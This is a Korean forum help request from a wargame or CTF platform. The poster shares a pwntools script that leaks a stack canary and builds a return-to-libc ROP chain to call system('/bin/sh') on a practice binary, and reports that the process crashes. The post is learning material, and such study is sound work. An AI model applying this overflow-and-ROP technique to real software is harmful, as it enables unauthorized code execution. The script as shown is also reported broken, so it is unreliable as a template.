완료됨
왜 프로세스가 죽는지 모르겠습니다..
진짜 뭐가 문제일까요....
stack alignment 깨지는거 같아서 맞춰주려고 ret 가젯 중간에 한번 넣어줬구요.
binsh 포인터 변수가 문제인가 싶어서 포인터변수가 가르키는 주소로 해봤구요.
진짜 뭐가 문제인지 모르겠습니다..
도와주세요..
from pwn import *
#p = remote('host1.dreamhack.games', 10731)
p = process('./rtl')
binsh = 0x402004
sys = 0x4010b0
ret = 0x000000000040101a
leak_canary = b'A'* (56+1) # null byte
pause()
p.send(leak_canary)
p.recvuntil(leak_canary)
canary = u64(b'\x00'+p.recv(7))
print('canary: '+hex(canary))
print('sys: '+hex(sys))
print('binsh: '+hex(binsh))
payload = b'B' * 56
payload += p64(canary)
payload += b'C' * 8
payload += p64(ret)
payload += p64(sys)
payload += p64(binsh)
p.sendlineafter(b"Buf: ", payload)
p.interactive()```
#pwnable
작성자 정보